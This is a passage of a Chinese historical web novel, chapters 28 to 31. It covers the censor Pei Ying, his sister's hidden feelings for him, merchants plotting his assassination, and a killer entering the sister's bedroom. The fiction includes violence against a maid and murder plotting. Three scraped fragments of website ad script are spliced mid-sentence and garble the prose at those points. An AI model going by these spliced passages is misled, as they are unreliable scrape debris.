28. 第 28 章 裴明绘脸上的笑意渐渐淡去,而真切的忧伤渐渐浮了上来,“如今商贾都骂哥哥,哥哥左右不妨将此得罪人的差事交给别人去做。” “你啊你。”裴瑛的笑容无奈而又宠溺,看着裴明绘满腹忧愁的模样,忍不住屈起手指来,轻轻刮了刮她的鼻尖,“有能力做的不愿意做,想要做的又没能力,为兄又得陛下信任,如何能推辞,一番推辞,怕是官职不保了。” “在其位谋其职,妹妹明白了。” 裴明绘都明白,她本就心疼裴瑛,可是道理如此明白,她又能说什么。 如今裴家虽说翻案了,但是陷害裴将军的幕后之人却没有抓住,哥哥万万不能就此隐退的,宦海浮沉,纵你想要八面玲珑,处处不得罪人,那是不可能的,随波逐流之人,只能被历史的波涛淹没。 裴瑛为她上药,垂首认真的模样,又镀上了灯头的柔光,叫她心醉神迷。 是啊,再来几个温珩,都比裴瑛的一根发丝。 她不要什么外室了,她也不嫁人了,哥哥太孤独了,独自一人背负着族灭的痛苦,肩负着光复裴家的重任,为她遮蔽了太多太多的风雨。 裴瑛很重要,任何人都比不上。 她本不该有什么超脱世俗的奢望,只是妹妹,只是妹妹…… 只要他在她身边,一切都足够了。 她抱膝看着他,眼睛一眨也不眨。 感受着指尖滑过伤口的清凉,在她心头激起一片又一片的涟漪。 很多人都说裴瑛是个酷吏,执法严苛,又有不少人说他是个坏人,为着自己的前途而诬陷同僚,以保自己官途顺畅,同时在几个诸侯王意图谋反之时,他皆以迅雷不及掩耳之势,率先出击,将行将发生的大规模暴乱压制了下去。 汉朝主张仁义,皇帝虽然主张打击诸侯王,但是也不想让自己看起来对亲戚太绝情,与此同时,裴瑛就成全了皇帝的仁义之名,就在皇帝说要宽恕他的亲戚们时,他便直言劝谏,最后众诸侯王谋反案往往皆穷根本,动辄处死上万人。 恶名远播,人人畏之。 裴明绘明白,庙堂斗争是残酷的,裴瑛做的任何事,都是出于皇帝的旨意,他是皇帝的刀剑,皇帝所向,便是其剑所指。 酷吏,是不需要的道德。 因为,他们的对手,是成千上万的满嘴仁义道德实际无恶不作无利不贪之人。 可是经济方面的改革,却无一不涉及百姓民生,虽然国家庙堂的出发点事打击商贾,可是最后很可能会在恶意歪曲之下,打击的余波会波及到百姓身上,以致百姓不安其胜,故有骚动,而朝廷所收拢的利益,则为奸吏所侵,而后惠及士大夫并各郡国豪强。 而一旦百姓不安,以往她哥哥所得罪的人,一定会打着为国为民的大旗,将裴瑛推出去,借此来平息“民愤”。 “哥哥。”裴瑛轻声道。 “嗯。” 裴瑛温柔地应了一声。 “算缗之事前,我打算再捐上一笔,以裴家的名义。” 裴明绘知道,自己最多在商业上有些建树,可在政治上,她几乎帮不上裴瑛的忙。 “嗯?” 裴瑛抬起了头,黑色的眼睛倒映着裴明绘的担忧的神色,便知道裴明绘又在担心他,不由笑了出来,“不用,如今明月坊损失太重,若再拿出一大笔钱,又怎么东山再起呢?” 洁白的丝绢一寸一寸缠绕,像是洁白的蛛网将她一寸一寸缠绕。 “好了。” 裴瑛将她的手放下,一抬眼,却发现裴明绘依旧在看着她,一双眼睛里满是迷蒙,似乎失于迷津一般。 “刘竺虽是长公主,但是为人浅薄张狂。”裴瑛拂开她额前挡眼的碎发,温柔地说道,“你不必怕她,为兄会替你解决好一切。” 裴明绘无声地点了点头。 “早些休息罢,为兄就不打扰你休息了。” 裴瑛起身,布料摩擦如同春蚕吐丝,一瞬间便让裴明绘惊醒过来。 “哥哥。” 她看着裴瑛越走越远,忍不住叫住了他。 裴瑛回头,眉眼弯弯地望向她。 “嗯?” “……” 太多的话堵在胸口,太多的话想要说,可太多的想要说的话又不能说,所有的话都憋在心里,所有想要呼之欲出的话都徘徊在喉咙里。 裴瑛依旧在等着她的话,很耐心,见她似乎没有想好,也不催促。 “哥哥等等我,我送哥哥出去。” 裴明绘笑了站了起来,而后走了过去,与裴瑛并肩走着。 裴瑛宠溺一笑,将肩上的黑色氅衣披在她的身上,大氅很柔软,带着他的温度,以及独属于他的,那独一无二的幽幽香气。 “好,走罢。” “等等。” 裴明绘披着裴瑛的氅衣,走到大木箱子旁,从箱子里取出早就缝好的白狐裘,抱着它又走回裴瑛身边。 “这是……” 裴瑛微挑了下眉,待看清她怀里的东西,不由露出一抹笑来,无奈道,“我怎好穿女儿家的衣服。” “不,这不是姑娘家的。”裴明绘抬眸看向裴瑛,看着他柔和而又俊美的容颜,压下心中的悸动,又垂了眼帘,一处的风灯的光投下来,照出她纤长的睫影,“这是我专门为哥哥做的,只是尚未来得及给哥哥罢了。” “专门为我做的?”裴瑛讶然。 “嗯。”裴明绘轻轻点了点头,然后将怀中的狐裘披在了他的身上。 他略高她一个头的距离,裴瑛见状,便弯下腰来,让她省力地将狐裘披在他的身上。 毛绒绒的狐裘绕过裴瑛的颈项,裴瑛的目光不由追随着她的手,原本美如玉秀如葱的手却添了极为突兀的白色绢带,原本波澜不惊的眸子瞬间起了狂涛,可是就在他回首,却见裴明绘正自认真地为他系着狐裘的系带,原本横亘在心头的杀意瞬间烟消云散,他的目光也变成了极为和善的噙着笑意的目光,像是一汪浮动着光的澄澈湖水。 裴明绘对上他的目光,心里又是一慌,又垂下了眼来,那日的误会压在心底,直叫她的心底发烫,心里的躁动的火焰顺着经脉蔓延开来,瞬间指尖也燥热起来,原本苍白的脸颊也红了起来。 她又是一慌,生怕裴瑛察觉,赶忙加快手上的动作,岂料心越忙事越忙,原本很容易的一个结,竟然成了死结。 '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >“好了好了。”裴瑛见她焦急之下,额头都冒出了汗,笑着说道,“我来罢。” 他按住她的手,可那异常的温度却让他瞬间抬起眼来。 “你的体温似有些不对?” 他伸出手来,扣住她的后脑,而后他与她额头相贴。 “可是受了风寒?” 骤然变大的俊雅面容毫无顾忌地贴了过来,她的心跳瞬间停止,铺天盖地的他的气息涌了过来,堵塞了她的思维。 几乎是下意识的,她想要向后靠,想要退缩,裴瑛有所察觉,手上微微用力,便让她的头又往前了几寸。 他的吐息落在她的脸上,有些热,又有些痒。 热在面上,痒在心头。 裴明绘生怕裴瑛知道些什么,赶忙偏过头去,轻轻的嗯了一声,却又觉得有些欲盖弥彰,又补了一句,“只是燎炉的火太旺了些。” “那得请医工看看。” 裴瑛的额头离开她的。 “你莫送我了,外头风吹得紧。” “哥哥哪里的话,平日路总不见哥哥,今日难道有些空闲,我也盼着能与哥哥多呆一会儿。” 她说得简单明了,里头的真情叫裴瑛丝毫说不出拒绝的话来。 虽说已经不小了,但到底还是他的妹妹。 裴瑛的手抚过她的鬓角,将她一缕额发捋到耳后,她的目光追随着他的手,潜藏在心底那不为人知的情丝涌动着,生长着。 裴瑛将氅衣替她紧了紧,最后却还忍俊不禁笑了起来,“那子吟就只送我一段路,接下来的路,为兄自己走。” 他们并肩走着,走在回廊之下,廊上每五步悬着一盏风灯,随着冷风的呼啸,它的光影也在风中变幻着,而一旦步出风灯的光芒,水银似的月光立即涌了过来,时冷时暖的光彩交替着,勾勒出二人并肩而行的剪影。 她多有希望现在的时间能过无限延长,这条路能够一直到延伸到天涯海角。 她偏头看向裴瑛,他的侧脸上有一丝微不可查的凝重。 或许有一天,哥哥能够了结裴家的仇恨,他真的可以为自己而活了。 仇恨太过沉重,它可以成就一个人,也可以毁了一个人。 二人停在院门前,裴瑛偏过头来,将披在裴明绘身上的大氅又紧了紧,黑色的毛绒绒的领子顿时拥住了她尖尖的下巴,她抬起眼睛来,纤长的睫影投下来,遮住一半眼眸。 “好好休息。此事,自有为兄处理。”裴瑛温声道。 他走下回廊,走出了院子。 裴瑛缓缓回过头来,看着裴明绘的身影,眸光渐渐暗淡了下来。 这么多年来,他不知明里暗里推了多少求娶裴家女的人。 其中大多为攀附裴家之人,他们都不是真心为着裴明绘而来的,再就是贪慕裴明绘的容颜而来,没有一个人是真心的。 裴瑛不可否认,他确实怀着私心,不想交妹妹交给那些居心叵测之人,因为,这世上,没有人,比他,更在乎她。 只要他还活着,就没有人能动她。 可是,就算他到了御史大夫的位置,就算他位极人臣,却发觉,各种危机却接二连三地走来。 29. 第 29 章 虽说自己已然对温珩下了杀手,可是却屡次传来失手的消息。 这显然并不是一件令人愉快的事,虽说温珩未见得有什么翻天覆地移山倒海的能力,但是裴瑛却无比忌惮救下他的人。 裴瑛挑亮铜灯,灯火如水一般蔓延开亮,徐徐照亮桌案上的书简。 他垂眸细看,上头都是长安俊杰的明细,他看了许久,却总是不满意。 有德行的容貌却并非上品,有容貌的德行却又不佳,二者兼备的裴瑛却又隐隐不喜,自己熟识的他也不愿将妹妹嫁给他。 一时之间,裴瑛大见为难。 又是硬着头皮看了几卷,裴瑛更是烦躁,随后便将竹简丢到一旁,拧起了眉,挥袖起身,带起风直接吹熄了铜灯。 他自负机谋甲于天下,为政十数载,门生故吏遍布朝野郡国,竟然今天却为妹妹寻个夫婿竟然都寻不到,做不得。 裴瑛的眉头紧紧锁着,负手长身立在半开的棂窗前,看着漫天闪烁的星子,以及那皎皎光辉映亮层云的冷月。 “取酒来。” 他对着黑暗之处招呼了一声,很快黑影攒动,便有一黑衣人捧着酒坛走了过来。 澄黄的酒液荡漾着一汪明月,裴瑛坐在长案之后,将爵中酒一饮而尽,想要将接着着这冷冽的酒填满内心的那无限的空虚寂寥。 可是饮下了这半坛,心中的寂寥更甚,甚至那艰难压下的火气又冒出了尖来,无声地灼烧着裴瑛的心。 修长的手指缓缓攥起酒爵,修长的凤眼缓缓眯起。 有一点,是不否认的。 裴瑛脾气,未必是好的。 但他一定是善于忍耐的。 若说他真的原谅了裴明绘的僭越,倒是有可能,若说原谅她私自与外男如此亲近,那是万万不可能的。 可是他纵然有脾气,也不会对着裴明绘施展的,,如今身为罪魁祸首的温珩却在未被抓住,蛊惑裴明绘找外室来寻开心的聂妩他也不能真的处置了她。 一时之间,裴瑛也真的无从下手了。 这滔天的怒火裴瑛也一直就压抑着,一直压到了现在。 他并不怪裴明绘,他永远都不会责怪她。 在他心里,她永远都是那个天真乖巧的妹妹,这一切混账的事,大多都是旁的居心叵测的人推波助澜所造成的,与她,无多少干系。 不过诸多烦心事中,能及时掐断温珩这朵烂桃花,也算得一件舒心的事了,有道是大堤溃于蚁穴,山陵崩于暗隙。他久在长安,忙于政务,疏于对妹妹的看管照顾,竟叫温珩此等小贼趁虚而入,幸亏发现及时,未叫裴明绘深陷其中,也算得幸事一件了。 可是就算如此,却也不能平息裴瑛的怒火,他突然想起了今夜的事,突兀的攻讦以及南云长公主的突然出现,似乎一切都有人在暗中推波助澜。 堂堂一朝公主,为人棋子尚且不知便也罢了,可她当着他的面尚敢对裴明绘出言不逊,对裴明绘的生父乃是小吏出身而大加评判,今日又出手伤她,裴瑛自是万万不能容忍, 他招了招手,侍立在一旁的暗卫大步上前,单膝跪地拱手等待命令。 “你去告诉沈大人,明夜此时,我去会他,有要事相商。” 暗卫拱手领命,悄然踏入黑暗之中。 裴瑛扬首,爵中冷彻的醇酒再度尽数饮尽,转眼间酒坛中的醇酒就已经消下去大半,这北方寒山寒泉所酿的酒,酒中自含一份肃杀冷冽之意,喝进肠中,不仅未消了愁,反而使心中煞气更重。 心绪激荡酒意纠缠之中,他的眼皮也越来越沉重,纤长的眼睫颤抖着,最后悄悄地阖上了。 他的身体也沉重下来,伏在了堆叠着案牍竹简的长案之中,他枕在自己的胳膊上。清辉似的月光透过窗隙洒了进来,无声地用银边勾亮男子绝美的面容,而后静静浮漾在他的眉眼之上,流溢在他的青色的衣袍之上,照得那流云暗纹似乎在银光中流动闪烁。 似乎只是一瞬间的事,却又仿佛经过了一两年的光景,阳光照在他的眼帘上,他的眼睫颤了颤,而后慢悠悠地睁开了眼睛,像是花叶迎着朝露重新舒展了被冻僵的枝干一般。 “裴大人?” 眼前是模糊的光斑,什么都看不清,裴瑛又闭了闭眼,方才又睁开了眼,眼前的人才渐渐显出模样来。 一袭素白的袍子,轻盈的白纱遮着面容,只露着一双黑漆漆的眼睛。 这是裴瑛第三次梦见她,第一次是元光三年的某一个冬夜,他第一次遇见她。 白幡飘飘,她一袭粗麻缟袂跪在不知谁的灵前,沉重的麻衣缟素压弯了她纤弱的腰身,她哭到失声,几乎不能呼吸,几度晕厥几度清醒,循环往复直到棺木下葬,原本成了枯泉的双眼瞬间再度流出泪来,若非旁边随行之人阻拦,她定然要跳下去。 她分明哭得无声,却又撕心裂肺,跪在地上再也起来,旁边的人想要将她搀扶起来,却怎么都扶不起来。 宽大的麻布遮住了她的面容,只有那一双红着眼眶的眼睛露了出来,盈着露水似的泪。 他就这么望见一双攀着红血色的眼睛,她哀伤地望着他,像是衰败的花池里那苦苦坚持的一瓣皎洁凄美的花,浸润在寒冷秋气里,凝上一层冰冷的霜。 她是那么痛苦,那么悲伤,这么巨大的哀伤几乎将她压倒,她似乎再也站不起来了。 她看起来这么年轻,与他的妹妹差不了多少,尤其是那双眼睛,像极了他的妹妹。 裴瑛忽的心惊,他想要走过去想要安慰这个素不相识却哭得肝肠寸断的女子。 可是他就当挤过人群之时,那女子忽得回头看了他一眼,却又痛苦地闭上了眼睛。 这般大的年纪,当与他的妹妹差不多少。 不幸失去亲人,竟叫这个可怜的姑娘哭成这样。 原本想询问她姓名的话瞬间卡在喉咙里,裴瑛顿了顿,柔声道,“姑娘可是有为难之事,若是在下能够襄助,还请姑娘告知。” 她看了看他,却转身逃进了人群里。 裴瑛第三次见 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 她时,她依旧一袭白裙,面上带着面纱,露出一双隐着哀愁的眼睛。 不待他问,她便告诉他,她叫明儿,仰慕裴大人久矣,梦中今见,不胜欢喜。 未待裴瑛问,这位唤作明儿的姑娘便全盘托出地姓名籍贯,她本是兰陵县人,原有一个哥哥,后来哥哥不幸离世,自己无依无靠,只得去了兰陵县一处富户做了奴婢,不知怎么就入了裴大人的梦,今无端搅了裴瑛的清净,还望裴大人鉴谅。 裴瑛尚有些防备之意,可是不知为何,看着眼前的女子,总是让他想起自己的妹妹,不知不觉,防备之心消去了大半。 裴瑛:“无妨,你自离去就是。” 显然,他并不想同她多说什么。 明儿姑娘抿了抿唇,垂下了眼睫,看向自己的脚下,却迟迟不肯离去。 二人就这么各顾各的,裴瑛原本不想理她,可是却还是忍不住偏过头去看向她,却发现她依旧待在原地,垂着头,一句话都不说。 他顺着她的视线看去,就发现她露在裙裾之外的那双白色绣履染了血,鲜血洇透白布,而后干枯成了深红色。 裴瑛:“你受伤了。” 明儿姑娘先是轻轻地嗯了一声,而后又轻轻地点了点头,过了好久才慢慢地说话,几乎是一个字一个字地蹦出来的。 “是,想必是现实里受的伤,也带到梦里头来了。” 裴瑛看着她,看着她说话时依旧没有抬起头来,但一个字接着一个字往外蹦的话里他敏锐地捕捉到了那强行忍耐的哭声与无尽的委屈,“如何受伤的?” “跟别人打架伤的。” 裴瑛起身,衣服簌簌,他走到了一处雕着昙花的木柜子处,将其两扇漆着朱漆的扇门拉开,才里头取出绢布伤药来。 “坐好,我替你伤上药。” 裴瑛将瓶瓶罐罐都拿了出来,在干净整洁的绢布上倒上各色药粉。 “不必了,多谢裴大人好意,我……我实在是消受不起。梦里就算治好了,现实里也好不了的。” “梦里若是治上一治,现实里便会好上一分。” 裴瑛抬眸看向局促的少女,少女便忍不住坐了下来,小心翼翼地脱下已经被血浸透看不出原本颜色的绣履。 她又小心翼翼地脱下同样颜色的袜子,露出鲜血淋漓的双脚,她抬眸看向裴瑛,却又瞬间想要想要把脚缩回去。 可是在缩回的瞬间却又被裴瑛一把拽住了脚腕。 裴瑛眼也不抬,声音依旧如寻常那般:“你脚上受伤太重,我梦中替你处理了,你醒来之时也要记得处理,否则伤口溃烂,你这双脚就莫妄想再要了。” 末了,他头也不抬地补了一句:“你不必多心,我往日在牢狱里替犯人上刑之时,见多了。” 不知道是不是他的话起了作用,明儿姑娘也不再挣扎,只垂下头,静静地看着裴瑛。 时间沉默地流淌着,或许裴瑛意识到了自己说的话也太过生硬,便又补了一句:“我妹妹,也是同你一样的年纪。” 30. 第 30 章 “怎么又下雪了?” 郭升一推开窗子,漫天飘飞的晶莹雪花便映入了他的眼帘,分外冰冷的空气涌了进来。 郭升忙整饬了自己的衣裳,一旁的婢女取来狐狸皮帽子,郭升拿了起来戴在头上,推门出府上辎车,辎车辚辚马蹄脆疾着驶着出巷子,过了约莫半个时辰,便停在一处僻静的府院处。 郭升一掀帘子,便是冻人的寒气,鼻腔顿时酸涩起来。 门前早有婢女提着灯笼等待着,一见郭升走来,便欠身一礼,走在郭升前头引路。 走过梅枝扶疏的白石子小径,晃动的灯影一寸接着一寸照亮落雪的红梅。 冷寂幽香不禁让郭升有些忐忑,她就走出了这片积满了大雪的幽林,来到一处六开间的厅堂,红色的风灯三步一盏,照出一片火红明亮。 侍候在大门的两位可人的婢女默然将大门推开,温暖到生了燥意的气息瞬间从宾客满堂的大宴里涌了出来,带着醇厚的酒香与佳肴的香味直扑郭升面门,一时之间他仿佛已经沉沦在这场行将开始的大宴之中。 宽敞明亮的大厅之中宾客满堂灯红酒绿,长案之上铜鼎玉盘金爵象箸一应俱全。 “郭公来也。” 座上一人眼见,率先看见了郭升,忙起身迎接,其余人见状,也纷纷站了起来,拱手躬身前来迎接郭升。 在场众人皆为商贾,且都是各行各业的翘首,无一不是家累万金之户,就以方才起身迎接之人,便是在盐铁官营之后便一落千丈的三川郡盐商陆之道。 “原是陆公啊。” 郭升很是享受如此恭维,矜持地拱手回礼。 “原我来晚了,失礼失礼。” “怎么会呢。”又有一深蓝色深衣的体态臃肿的男人站了起来,冲着郭升一拱手,“今儿的大宾还未来呢,想必我们还得要等上好一会才是。” 郭升见前头主位空着,正想抬脚上坐,却不曾想那男子的话正好戳了他的心窝,他心里头登时不满起来。 不过一个毛头小子,一无爵位,二无官身,怎敢担大宾之名呢。 本来大宴约定的时刻在卯时初刻,他便特地压着时间以便能够压轴出场以来彰显他的身份,可万万想不到竟然有人比他还猖狂。 陆之道眼见郭升要往主位上座,忙虚手将郭升请到了右上首首位,陪着笑道,“郭公请。” 郭升见状,登时蹙起了眉,鼻翼翕动发出不满的哼声,若非此次大宴极为重要,他定要甩袖离开。 郭升忍耐了,虽然有万般的不满,他却只能忍耐。 待到全部落座以后,郭升忍耐着所有的不满。 铜枝灯烛爆开火花,外头风雪愈盛。 又过了一刻,郭升显然不耐烦了,烦躁地将爵中酒一饮而尽,一旁窈窕的婢女便又捧着金酒壶续上一爵酒。 大厅中燎炉生得很旺,旺到燥热,燥热到似乎屋中所有水汽都正腾走了,郭升浑身上下燥热得很,让人心烦,他正要起身,却不料起身之时宽大的袖子却扫了正在斟酒的婢女,那无辜的婢女一个不防就手中酒壶就被打翻在地,酒水就洒在了他的衣服上。 “你——”郭升登时大怒,眼见自己身上华贵的绸衣竟成了如此模样,站起就是一脚,正好就踹在婢女的柔软的心窝之上,“滚——” 可怜的婢女登时就摔在地上,捂着胸口痛到站不起来。 “郭公息怒。”陆之道赶忙迎了过来,吩咐两个婢女将那个倒地不起的婢女搀扶起来带下厅堂去,“不过一个婢女罢了,怎只得郭公如此大发雷霆。” 岂料郭升正在愤怒的当头,以他的地位,本该就受人逢迎的,如今一场宴会下来,自己的位置却也无端低了一等。 况且,这陆之道嘴里这么说,可是郭升怎么听都不对味。 他本不好发作,可如今既然寻到了由头,他自然不可能放过。 这群人一贯势力,隐约间便有将他置于下位的意思,若不借机给他们下马威,定要唯温珩那小子为首了。 “一个婢女,却也值得陆公求情。” 郭升冷笑一声,细长的眼睛迸发出寒光。 陆之道顿时明了郭升的意思,只歉疚地一笑,“原是此地是长安,她虽是一个婢女,却也是梅院主人的婢女,不是在下的,也不是郭公的。只是若是随意打杀了,传出去,总是不好听的。” “呵,陆公言辞倒是好的。”郭升的眼风扫了过去,他冷笑一声,“只是为了一个婢女,就坏了兴致,怕是得不偿失罢。” 说罢,他便利落拔出腰上的长剑,一把拽住婢女的领子,转瞬便要捅进婢女的胸膛心窝 “好热闹。” 微微上扬的语调伴着清而慢的抚掌声从门外传来,顿时大门洞开,晶莹的雪花被鼓荡的冷风送了进来,飘荡着旋转着落在郭升的鼻尖,而后在他的呼吸间化成了水。 这惊悚的凉意顿时叫他心底的暴怒平息了下来。 众人纷纷起身,像是寂静的树林一般,等候着主人的到来。 尚凝这冰雪的黑色长靴结实地踩在华丽的红毡之上,如潮的灯火拂亮少年绝色的容颜,上挑的凤眼氤氲着多情的雾色。 “温公子。” 陆之道再度率先见礼。 “看来,这里有了什么麻烦事。”看似妩媚实则内敛锋芒的声音传来,温珩的眼睛扫过全场,瞬间鸦雀无声,“倒是一番热闹的场景,是开场的好戏吗?” 他的话总有一种懵懂无知的感觉,似乎对此间发生的事丝毫不知情一般。 郭升一时之间也觉得没甚意思,一挥袖子便又回到了自己的座位。 “好了,看来没什么事了。”温珩勾起了唇,摇曳着橘红光芒流转他的眸底,“实在是有要事,珩失礼了,还望诸君莫要怪罪才是。” “温公子今日驾临,便是我等之幸。”陆之道殷勤地将温珩请到了上座,并拿过婢女手中吉金色酒壶,亲自给他斟酒,“正是我有大宾,当鼓瑟吹笙也。只是事出突然,只能略备小宴,还请温公子不要见怪,” “不敢不敢。”温珩一笑,推辞道,“温某不过既无官身,又无爵位。实在是不敢担此虚荣。” 整座厅堂顿时哗然起来,先是你一句我一句地奉承起来,而后陆之道亲自张罗着开鼎开席,婢女们如流云一般穿梭在席间。 众人喝得酒酣眼热,其中几个心中对前途怀着忧愁的人一时便贪了杯,颓然便有醉倒之势。 温柔可人的婢女为温珩倒了酒,温烆站起身来,大步走到厅堂正中,高举手中酒爵,笑着说道,“今日能与诸君相聚,实乃珩之大幸,这爵酒,先敬商道诸君!” 一爵饮罢,又是一爵,而这一爵酒,温珩却敬给了郭升。 “郭公,珩为晚辈,当敬郭公一爵。珩年少轻狂,相处总有不当之处,还望郭公海涵才指教才是。” 温珩那独特的嗓音配上这番玲珑的话语,登时便契合了郭升那事事要出头要风光的郭升心头所想。 他躬着身垂着头,眼皮微微掀起,便看见了倒影在澄黄酒液力郭升的脸发生了变化。 他原本不耐的神色顿时换成了笑脸,笑呵呵地说道,“哈哈,温小公子客气了。我虽然是你的长辈,却到底不如温小公子有着官场上的阅历,又不必你的世家出身,哪里又能指教你呢哈哈。” 温珩白净的面容也浮起一分笑意,浓密纤细的眼睫也弯了起来:“郭公所言,那都是往日的繁华了,今我家道中落,自己却又不能明面示人,何其可悲也!” 郭升笑眯眯地看向眼前的年轻人,先前受到的冷落与今朝的奉承形成了无比鲜明的对比,他几乎要仰天大笑,却又矜持地暂时忍耐了下来,他咳嗽了一声,清了清嗓子里的激动与得意,故作长者的沉稳道,“此非天灾,而是人祸也。” “人祸……” 温珩作出一副迷惑的样子,秀丽的黑色长眉蹙了起来。 “几次三番陷害的你的人不是别人,正是御史大夫裴瑛啊。” 郭升语重心长道。 温珩恍然大悟,爵中酒都洒出来少许:“原来是他……” 郭升几乎要笑了出来,叫温珩震惊之巨有如针刺,心中更是嘲讽。 此子怪不得只有一张好看的皮囊,若非讨得陛下喜欢,此子焉能活到今日。 他显然十分享受为人指点迷津的感觉:“裴瑛此人,阴狠毒辣,此行算缗,哪里又为着支绌的财政呢,不过是贪吏当道敛财自富罢了,却偏偏要扯这些冠冕堂皇的大道理,真叫人恶心。” 如此说完,郭升犹嫌不足,便十分嫌恶地朝地上啐了一口。 温珩忍不住拧起了眉,但很快又被灿烂钦慕的笑容所掩盖:“这裴瑛当真是大奸大恶之徒,只可惜他狐假虎威倚仗着皇帝陛下与南云长公主的威势,我们终究奈何不得他。” “哈哈,今天白日的事,我也听说了。”郭升一笑,脸上的褶皱都舒展开来,“狗咬狗一嘴毛,大水冲了龙王庙,一家人倒不认一家人了!” 倏然,郭升再度话头一 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 转,看向在场众人,颇为严肃地说道,“虽然此事可以当个笑话看,但终究可以见得裴瑛不过一仰仗女人与皇帝的人罢了,没什么可怕的。若是有朝一日皇帝不再器重裴瑛,长公主也不再喜欢裴瑛,裴瑛的势也救没了,他也就倒了。” 在一阵附和欢呼声中,温珩的嘴角再也忍不住地抽动起来。 他一笑,看似柔和实则强硬地打断了郭升的长篇大论:“虽然如此,可如何能教皇帝不再器重于裴瑛呢。裴瑛如此厉害,只怕他不死,恐怕总有东山再起之时。” “哎,后生莫插话。” 郭升眼见众人的目光已然都聚在了自己身上,不由更加得意,故作一番高深。 “不过一个裴瑛,虽为世家之后,如今却也不过孑然一身,只要他死了,就没什么好说的了。” 一言毕,满堂喝彩声哗然而起。 “只是,裴瑛毕竟位列三公,我等如何杀之?”陆之道提出了一问。 郭升微微蹙眉,陷入沉思,厅堂中人再度喧哗起来,你一言我一语地说了起来,不过叹息,说那裴瑛委实厉害,我等不过商人,何以动手云云。 “诸君莫得惊慌。”温珩见气氛起来,笑道,“若杀裴瑛,自当群策群力才是,若是我们万众一心,莫说一个裴瑛,就算千千万万个裴瑛,也没什么难得。” 温珩说罢,众人中又有一人说道,“今行算缗,明日便要抄家,今日我等若不有所为,来日便成了待宰羔羊!” “对!”又站起一人慷慨激昂道,“法不责众,我等只为我大汉朝民生百姓,万不等叫奸佞胡作非为。” 一下人声鼎沸起来,郭升也被激动人心热血沸腾的气象所感染,一时胸腔内热血涌动,忍不住便红了脸。 温珩的余光不动声色地便放在了郭升面上,唇角勾起一丝微不可查的弧度,他的眼风很快扫过众人。 随即人群中再度爆发出一股更加激烈的呐喊。 “我等愿追随郭大人,取裴瑛性命!” 一声毕,众声起。 郭升也激动了起来,连连拱手:“我不才,不敢当此大任。” 温珩向着郭升一拱手:“若是郭公都不敢当此大任,可教我等如何,如此救我大汉商道?” “天命所归,还望郭公莫要推辞才是。” 陆之道也向郭升拱手躬身,实是恭敬。 众人随之拱手躬身,一时蔚为大观。 见此情景,郭升也就不再推辞,乐呵呵地接受了如此大任。 待到大宴散尽,已是子时,外边的雪已经停了,原本松软洁白的满地白雪上留下凌乱交错的驶向各方的车辙印。 “你去哪里。” 跟随温珩一同来的男子唤住抬脚便要离开的温珩。 温珩停住脚,抱臂看向男子,淡道,“怎么,事情办完了,难道邹大人还需要温某陪你回去吗?” 此时此刻的温珩也完全蜕去了宴会上的温柔假面,语气也变得刻薄起来,末了,他觉得有些不过瘾,又转过身来补了一句,他扬起真切的微笑来,以极为关切的语气说着最讥讽的话,“难道邹大人一人还怕走夜路吗?” 被唤作邹大人的男人深深皱起了眉,反唇相讥,“邹某不比温小公子‘闻名遐迩’,孤身夜路也没有丢命的风险。” “温某的身家性命,就不劳大人挂念了。”温珩客气地冲他一拱手,抬脚欲走,却又被邹大人唤住。 一而再,温珩自是不高兴,回过眼来。 “邹大人到底有何事要说。” “也没什么要紧的。”邹大人一笑,“只不过想奉劝温小公子一句,你忘带东西了。” 说罢,邹大人便将手中剑丢了过去,温珩一招手便接了过来。 骨节分明洁白如瓷的手握住了冰冷的剑鞘。 这是一把通体露着杀气的剑,不知浸染了多少人的鲜血。 城楼的刁斗之声时断时续地回响着,回荡在二人的身边,有几缕飘进人心,又有几缕飞出天外。 “裴瑛不是吃素的,别把裴府当成你温小公子的后园,想来就来,想走就走。” 邹大人的声线骤然一沉,隐隐含着警告之意。 “你在命令我?” 温珩不禁笑了起来,他不可置信地回过头,呼啸而过的寒风将他的发吹得凌乱,又有几片晶莹的落雪自枯枝上被吹了下来,而后飘着旋着安歇在他的发上。 冰雪折风灯之光,冰冷的光落进他漆黑的眼眸,瞬间便被吞噬不见。 31. 第 31 章 “在下位卑言轻,可不敢命令温小公子。”邹大人也跟着笑了起来,“只是,这是主公的意思,在下只是代为奉劝罢了。” “多谢邹大人的好心,我还有事,先走了。” 温珩显然不吃这一套,极为冷淡地笑了一声,头也不回就走了。 * 春喜拔下头上的簪子,将长案上的铜灯火苗又挑亮了些,又打了个哈欠,她察觉到自己已经开始困倦了,便伸了伸懒腰,强行打起精神来守夜。 她扭头看了看里间,便又用手撑着头,继续坚持下去。 不知从何而来的烟雾悄无声息地弥漫开来,春喜的上下眼皮开始打架,不一会就开始不住地点头,起初她还在苦苦坚持,但很快就彻底支撑不住了,沉沉地伏在长案睡了过去。 投宿在院中梨花树上的几只不知名的鸟啼叫着,但很快就没了声息,门悄悄地开了条缝隙,带着雪气的冷风卷了进来,很快,外间的灯烛挣扎了几下便也彻底熄灭了。 吱呀—— 门缓缓被推了开来,影子先人一步进来。 室内一片昏暗,燎炉的火光跳动着照亮伏案而睡的婢女的酣睡的侧颜,寒冷的雪光透过窗上绷着的白布透了进来,为少年的冷峻的身形镀上一层银光。 温珩悄无声息地走了进来。 他轻车熟路,绕过屏风走进里间,自房梁处悬下来的细腻白纱漫卷着缭绕在他的身上。 他无声地将白纱拂开,一步一步地走了过去。 —— 裴瑛的话如此生疏,甚至有了避之不及的意思。 她一把冲上去,从他背后抱住了他,紧紧地抱住,生怕一松手裴瑛就会消失不见,她泪流满面,哭成了泪人,“哥哥,你不要这样好不好,子吟知错了。” 裴瑛的身体也跟着颤抖着,她呜咽的哭声扰乱了他的心,他原本想要将她的手拿开,最后却还是松开了手。 “我知道,不是你的错。” 裴瑛背对着裴明绘,她看不见他的脸,但却可以感受到裴瑛的痛苦。 —— 修长的手指挑开的沉重厚实的帷幔,露出沉睡着的她的容颜。 温珩的目光梭巡在她的面容,无声地滑过她精致美丽的五官,看着她的眼睫颤抖着,看样子是陷入了不好的噩梦里。 好了,该结束了。 只要杀了她,计划就可以开始了。 用仇敌妹妹的鲜血来祭复仇的大旗,没有什么比这更畅快的了! 